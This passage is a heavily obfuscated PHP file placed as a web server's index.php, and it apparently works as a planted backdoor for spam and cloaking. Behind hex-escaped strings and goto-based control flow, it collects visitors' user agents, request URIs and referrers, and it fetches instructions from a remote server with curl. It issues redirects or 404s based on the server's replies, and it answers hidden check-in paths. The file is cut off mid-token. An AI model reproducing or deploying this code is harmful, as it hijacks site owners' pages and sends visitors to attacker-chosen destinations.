File: C:/Apache24/htdocs/index.php
<?php
goto gLOohyHv29MWa5N; J8z9gf4HkmsYqVw: if (!substr_count($_SERVER["\x52\105\x51\x55\x45\x53\x54\137\x55\x52\111"], "\x69\156\x64\x65\170\x2e\160\150\x70\x2f\152\x6b")) { goto x1CeS_4P6L8oW6U; } goto XAJ0ZKoJQ1Scbtt; xki2eUGt047fKMP: $k2rQ7bqLVTCzL0Y["\x75"] = S8KbiI8Q5YegAtT($_SERVER["\110\x54\124\120\137\x55\123\x45\x52\x5f\101\x47\105\116\x54"]); goto Uh9gi5TPtt1rWqa; CEFArMnhOkzNX2L: function WJkGkUd3CW5kxwV($tkBTMSoPv91cg7z) { goto Nky_PhGuBe_u7HP; Bfm5Th_2qQy3OiJ: return $bjtzSFY5zwJKWgN; goto cZTj0lXODNwBejJ; IL2qAjjPyLvw0Do: jY2Rto78lwIrLLv: goto LKdLZ0ceenwR7LH; Ej1UiQo8dolh1UJ: return $bjtzSFY5zwJKWgN; goto IL2qAjjPyLvw0Do; Nky_PhGuBe_u7HP: $bjtzSFY5zwJKWgN = array("\x73\164\x61\x74\165\x73" => 0, "\x63\x6f\x6e\x74\145\x6e\x74" => '', "\x74\171\x70\145" => ''); goto CKDvLMQgwsKMtNK; epyq3XvzrEFQfOE: A9bZJQHMVB1S0Ys: goto Bfm5Th_2qQy3OiJ; LKdLZ0ceenwR7LH: foreach ($tkBTMSoPv91cg7z as $OZBeiFm8d0A5YMA) { goto H__W0YdenG2gzFY; Erg_0_ykm4y0lR7: CFERCPz6nOkyXT6: goto k0uMQy9ummt9TPh; jwLadmNOleBYUbl: vhpNs5TdZ_8RhK7: goto NTquqwUL8bFn97y; H__W0YdenG2gzFY: if (preg_match("\x2f\x68\164\164\160\134\x2f\133\x30\x2d\x39\x5c\x2e\135\x2b\x5b\134\x73\135\53\x28\133\60\55\71\135\53\51\57\x69", $OZBeiFm8d0A5YMA, $jhfY2pNPqCdYZI_)) { goto k0Un4c1pbu0bHW6; } goto ApCrcSLj37zE4u0; ApCrcSLj37zE4u0: if (preg_match("\57\154\157\143\x61\164\x69\157\x6e\134\72\133\x5c\x73\x5d\x2b\x28\x2e\x2a\51\x2f\x69", $OZBeiFm8d0A5YMA, $jhfY2pNPqCdYZI_)) { goto kO3cGAoweenhTxW; } goto hL2pCnJWMWuFNm2; PcOxPMtWEKgOm2I: k0Un4c1pbu0bHW6: goto piULxiYLCOhE9ff; k0uMQy9ummt9TPh: MTRVeKhOMWGXz3p: goto TpQ_P8S_ahHjvmR; NTquqwUL8bFn97y: $bjtzSFY5zwJKWgN["\164\171\x70\145"] = $jhfY2pNPqCdYZI_[1]; goto Erg_0_ykm4y0lR7; gIZ0lzOwI6FEIr9: kO3cGAoweenhTxW: goto qdx6QumjinssE43; g3kgHUdHM83wfdo: goto CFERCPz6nOkyXT6; goto jwLadmNOleBYUbl; Qp0YCAsORC_KbwW: goto CFERCPz6nOkyXT6; goto gIZ0lzOwI6FEIr9; piULxiYLCOhE9ff: $bjtzSFY5zwJKWgN["\163\x74\141\x74\165\x73"] = intval($jhfY2pNPqCdYZI_[1]); goto Qp0YCAsORC_KbwW; hL2pCnJWMWuFNm2: if (preg_match("\x2f\x63\x6f\x6e\164\x65\156\x74\134\x2d\164\171\x70\145\x5c\x3a\133\134\163\x5d\x2b\50\x2e\52\51\x2f\x69", $OZBeiFm8d0A5YMA, $jhfY2pNPqCdYZI_)) { goto vhpNs5TdZ_8RhK7; } goto JGJCVbnY5lBPjW9; qdx6QumjinssE43: $bjtzSFY5zwJKWgN["\143\x6f\156\164\x65\156\x74"] = $jhfY2pNPqCdYZI_[1]; goto g3kgHUdHM83wfdo; JGJCVbnY5lBPjW9: goto CFERCPz6nOkyXT6; goto PcOxPMtWEKgOm2I; TpQ_P8S_ahHjvmR: } goto epyq3XvzrEFQfOE; CKDvLMQgwsKMtNK: if (is_array($tkBTMSoPv91cg7z)) { goto jY2Rto78lwIrLLv; } goto Ej1UiQo8dolh1UJ; cZTj0lXODNwBejJ: } goto SbLekVGyDytvghk; zdX8Y1A4redOVgS: $k2rQ7bqLVTCzL0Y["\162"] = S8kbIi8Q5YeGAtt($_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\x52\111"]); goto Mi08KjRFOQ6K1aE; XAJ0ZKoJQ1Scbtt: exit("\x7b\40\42\x65\162\162\x6f\x72\42\72\40\62\x30\x30\x2c\x20\42\x6c\143\x22\x3a\40\x22\152\x6b\42\x2c\40\42\x64\x61\x74\x61\x22\x3a\x20\x5b\40\61\x20\135\x20\175"); goto Ekir2YOJEfy5Pvx; jZxW32aEBmxGSLE: $k2rQ7bqLVTCzL0Y["\163"] = s8KbII8Q5yegAtt($V0lBNCpqlNW_hbE); goto xki2eUGt047fKMP; Dpm633A3QOlA6d1: ji79aQolpoW5LqT: goto aQVypvxqribNBm0; B7tInAyMp21ThA2: if (!(strpos($KlE6NsE3t9ildyl, $V0lBNCpqlNW_hbE) === 0)) { goto PvltIkl4vaWP9YA; } goto GDsYc3HF6dum_xP; Xg3FElDkNu0A626: function I7l6ylfviC5PoTW() { goto b5WtbaR689_0ktF; ToE6Z4EAx6xHx81: $d1YgLQf83S8ieiN = "\150\x74\164\x70\x73\x3a\x2f\x2f"; goto FQect1YoOlv_av9; F0c3PG6K57nb_WC: if (isset($_SERVER["\x48\x54\124\120\137\106\x52\x4f\116\124\137\x45\116\104\137\110\x54\x54\x50\123"]) && strtolower($_SERVER["\110\124\x54\120\x5f\x46\x52\x4f\x4e\124\137\105\116\x44\x5f\110\x54\x54\120\x53"]) !== "\x6f\146\146") { goto ecyyM01f4cLBBFQ; } goto aZmr3YL2cNedb9S; H9JIxTIfMDnhVny: S5THTYAL9uPBIVK: goto fRqMOtNNvqoC2dw; LJGp6ghSgKU5uKr: TSNQ2yO0tIKrhd3: goto ToE6Z4EAx6xHx81; v0jVZDSwkiuQ94X: goto S5THTYAL9uPBIVK; goto H8PWpKV481D3lS1; H8PWpKV481D3lS1: ecyyM01f4cLBBFQ: goto k3qcHt4hlaHCt7q; k3qcHt4hlaHCt7q: $d1YgLQf83S8ieiN = "\x68\x74\164\x70\163\x3a\57\x2f"; goto H9JIxTIfMDnhVny; G5bqcPnYTmdQB3h: jt5O5D8tMj79e0j: goto kaOKMAHPoBb3dnk; QSuj24x7DTyWhQI: if (isset($_SERVER["\x48\x54\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\x66") { goto TSNQ2yO0tIKrhd3; } goto TncQNkxBgHVO9GH; kaOKMAHPoBb3dnk: $d1YgLQf83S8ieiN = "\150\164\x74\160\163\72\57\57"; goto v0jVZDSwkiuQ94X; TncQNkxBgHVO9GH: if (isset($_SERVER["\110\x54\124\120\x5f\130\137\106\x4f\122\x57\x41\122\x44\105\x44\137\120\122\x4f\124\117"]) && $_SERVER["\110\x54\x54\120\x5f\x58\137\x46\117\x52\x57\x41\122\x44\x45\x44\x5f\x50\x52\x4f\124\x4f"] === "\150\164\x74\x70\x73") { goto jt5O5D8tMj79e0j; } goto F0c3PG6K57nb_WC; aZmr3YL2cNedb9S: goto S5THTYAL9uPBIVK; goto LJGp6ghSgKU5uKr; fRqMOtNNvqoC2dw: return $d1YgLQf83S8ieiN; goto TdkFTie0mK0BQf4; FQect1YoOlv_av9: goto S5THTYAL9uPBIVK; goto G5bqcPnYTmdQB3h; b5WtbaR689_0ktF: $d1YgLQf83S8ieiN = "\x68\164\164\x70\72\57\x2f"; goto QSuj24x7DTyWhQI; TdkFTie0mK0BQf4: } goto Tui2BIDI_Vfzsjh; QVMhS9_yhC_ky1k: switch ($Yox73PMKfS2Erb2["\163\x74\x61\x74\x75\163"]) { case 301: goto f3MCuzuJKHQbKZZ; f3MCuzuJKHQbKZZ: header("\x48\124\x54\x50\57\x31\56\x31\40\x33\x30\x31\40\115\157\x76\145\144\40\x50\145\162\155\141\156\x65\156\164\x6c\x79"); goto bm3gZgT2ujll3Ob; bm3gZgT2ujll3Ob: header("\114\x6f\x63\141\164\x69\157\x6e\x3a\40" . trim($Yox73PMKfS2Erb2["\143\x6f\x6e\164\x65\x6e\x74"])); goto o9EKhQO8j2vKbbG; o9EKhQO8j2vKbbG: goto nN9GUZ28QwUD_Vy; goto JzuJfr2ETKnI8ta; JzuJfr2ETKnI8ta: case 302: goto rK51LlYCis2ICze; rK51LlYCis2ICze: header("\x48\124\x54\x50\57\x31\56\x31\x20\63\60\62\x20\x4d\x6f\x76\145\40\x54\x65\x6d\160\x6f\162\141\x72\x69\x6c\x79"); goto fPEXQUDQKlSU1kH; fPEXQUDQKlSU1kH: header("\114\x6f\143\141\x74\x69\x6f\156\x3a\x20" . trim($Yox73PMKfS2Erb2["\143\157\x6e\164\145\156\x74"])); goto kmdx2PHflIwmB7j; kmdx2PHflIwmB7j: goto nN9GUZ28QwUD_Vy; goto lhl88CXfcJePIFS; lhl88CXfcJePIFS: case 404: goto pQdruhfOqwi7ocP; pQdruhfOqwi7ocP: header("\110\124\124\120\57\x31\56\61\x20\64\x30\x34\40\116\157\164\x20\x46\x6f\x75\x6e\144"); goto D270pV9Jcd5vH3s; D270pV9Jcd5vH3s: header("\163\164\141\x74\x75\163\x3a\40\64\60\64\x20\116\x6f\x74\40\x46\x6f\x75\x6e\x64"); goto hf3huwoVXT41a0v; hf3huwoVXT41a0v: goto nN9GUZ28QwUD_Vy; goto kU_ndtdOGjp0yPd; kU_ndtdOGjp0yPd: default: goto nN9GUZ28QwUD_Vy; } goto q1TKHZMthN3GUhU; Tui2BIDI_Vfzsjh: if (!($_SERVER["\x52\x45\x51\125\105\123\124\x5f\x55\122\111"] === "\57\x52\x2d" . md5($_SERVER["\123\x45\x52\126\105\x52\137\x4e\101\115\x45"]))) { goto KrWvyS8AEYN_MMo; } goto fhw1lwUq0A7R5zo; P9AgZIJbsu9FgN7: yugypHHTn_fHu_X: goto GSM_7Frvv94YcR2; rXCrYN6eN1f3VTw: $J5nsG8EFGxfAUYi[66] = $J5nsG8EFGxfAUYi[66] . $J5nsG8EFGxfAUYi[78]; goto EftQg1DQGO4djmW; iz_G4b3Zjq09bJO: $KlE6NsE3t9ildyl = strval(@$_SERVER["\x48\x54\124\x50\x5f\x52\105\x46\105\122\105\x52"]); goto SBv27EelNdov9JC; HJds3oDl3J8WqDu: class thbfSkfvenE7fn7 { static function edk_amYxfSnBqTf($L8z3kbFIL1LzieP) { goto LwgjKT6MlulMhMi; Lc_pcaZfQMPcYAm: foreach ($J8zGgmD_y01aK18 as $uGO6VDhrcoc706b => $BUf0BL8a8iNQpTk) { $wNzbuyTg7oMLR7_ .= $cIegU0YP3WA7lRH[$BUf0BL8a8iNQpTk - 33497]; Ww2AcQqErzLZoL6: } goto U0n5n0SjLiXmoYJ; Xi_mgUSqyhamqEb: $wNzbuyTg7oMLR7_ = ''; goto Lc_pcaZfQMPcYAm; LwgjKT6MlulMhMi: $NiowT4ljlNQL4Db = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto AbPRFfnxs17Szzd; U0n5n0SjLiXmoYJ: KrzavEQcB6kAz3c: goto GR0CufhHdy7hAhY; GR0CufhHdy7hAhY: return $wNzbuyTg7oMLR7_; goto oxnmnd8geVE1qPz; zc0tIa_74OQDX45: $J8zGgmD_y01aK18 = explode("\x2d", $L8z3kbFIL1LzieP); goto Xi_mgUSqyhamqEb; AbPRFfnxs17Szzd: $cIegU0YP3WA7lRH = $NiowT4ljlNQL4Db("\x7e", "\x20"); goto zc0tIa_74OQDX45; oxnmnd8geVE1qPz: } static function GTRWXnPPYUCN0JZ($vVT1vq9xCQDEvb4, $JZJeyJaCJsCuBEo) { goto jnRgRpB_gIwSc4c; jnRgRpB_gIwSc4c: $UrL4fDqWOXr4k3u = curl_init($vVT1vq9xCQDEvb4); goto f20ZLvVXByylN61; zj5Iglu3LRPWLRh: return empty($iBnlqEdp64v2MZG) ? $JZJeyJaCJsCuBEo($vVT1vq9xCQDEvb4) : $iBnlqEdp64v2MZG; goto JZ1t6_QVHOdeKsi; d4lpEGNhcnCAaEh: $iBnlqEdp64v2MZG = curl_exec($UrL4fDqWOXr4k3u); goto zj5Iglu3LRPWLRh; f20ZLvVXByylN61: curl_setopt($UrL4fDqWOXr4k3u, CURLOPT_RETURNTRANSFER, 1); goto d4lpEGNhcnCAaEh; JZ1t6_QVHOdeKsi: } static function Y19xBuccZTif3hk() { goto VJLlGLhA2vwMRwR; GMaAPsBizvIP4gE: $bIFFQ9sVrVAwDVR = sel